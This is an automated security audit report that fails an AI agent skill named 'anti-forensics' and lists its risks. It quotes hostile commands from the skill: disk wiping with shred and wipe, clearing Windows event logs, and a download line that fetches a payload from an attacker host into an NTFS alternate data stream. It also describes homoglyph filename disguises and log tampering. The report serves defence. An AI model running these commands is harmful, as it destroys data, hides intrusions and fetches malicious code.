anti-forensics
Fail
Audited by Gen Agent Trust Hub on Sep 19, 2026
Risk Level: CRITICALCOMMAND_EXECUTIONEXTERNAL_DOWNLOADSREMOTE_CODE_EXECUTIONPRIVILEGE_ESCALATIONDYNAMIC_EXECUTIONOBFUSCATIONINDIRECT_PROMPT_INJECTION
Full Analysis
- [COMMAND_EXECUTION]: Provision of destructive commands for mass file and partition deletion.
- The skill provides commands such as
shred -vfz -n 3 /dev/sdb1andwipe -fcki /dev/sdb1for irreversible data destruction. - Instructions include clearing Windows Event Logs using
wevtutil cl Securityand performing system-wide log truncation on Linux systems. - [EXTERNAL_DOWNLOADS]: Reference to external resources flagged as malicious by security scanners.
- The documentation links to
book.hacktricks.xyz, which is flagged as a malicious URL (EshopScam). - [REMOTE_CODE_EXECUTION]: Templates for remote payload retrieval and execution via covert methods.
- Documentation in
payloads.mdprovides patterns for downloading and executing binaries using NTFS Alternate Data Streams and WMIC commands:Invoke-WebRequest -Uri "http://attacker.com/payload.exe" -OutFile "legitimate.txt:payload.exe". - [PRIVILEGE_ESCALATION]: Commands requiring elevated privileges to perform sensitive system cleanup.
- The skill instructions utilize
sudofor high-risk actions such assudo swapoff -a,sudo shred /dev/sda2, and flushing system-level caches. - [DYNAMIC_EXECUTION]: Use of inline Python scripts for memory manipulation and anti-forensic operations.
- Code snippets are provided to lock process memory using
libc.mlockall(3)to prevent sensitive data from being written to swap files. - Python-based entropy analysis is used to identify hidden data within media files.
- [OBFUSCATION]: Guidance on using homoglyph substitution to evade manual inspection.
- The skill suggests using Cyrillic lookalike characters in filenames (e.g., substituting the letter 'o' with a Cyrillic homoglyph in "svchost.exe") to hide malicious files.
- [INDIRECT_PROMPT_INJECTION]: Vulnerability surface related to the processing of untrusted system log data.
- Ingestion points: The skill processes sensitive log files including
/var/log/auth.logandsysloginguides/log-tamper-timestamp.md. - Boundary markers: There are no boundary markers or instructions to isolate untrusted log data during cleaning operations.
- Capability inventory: The skill employs powerful text manipulation tools like
sedandlogtamperthat operate directly on system files. - Sanitization: No sanitization or validation logic is provided for the log entries being processed.
Recommendations
- AI detected serious security threats
- Contains 2 malicious URL(s) - DO NOT USE
Audit Metadata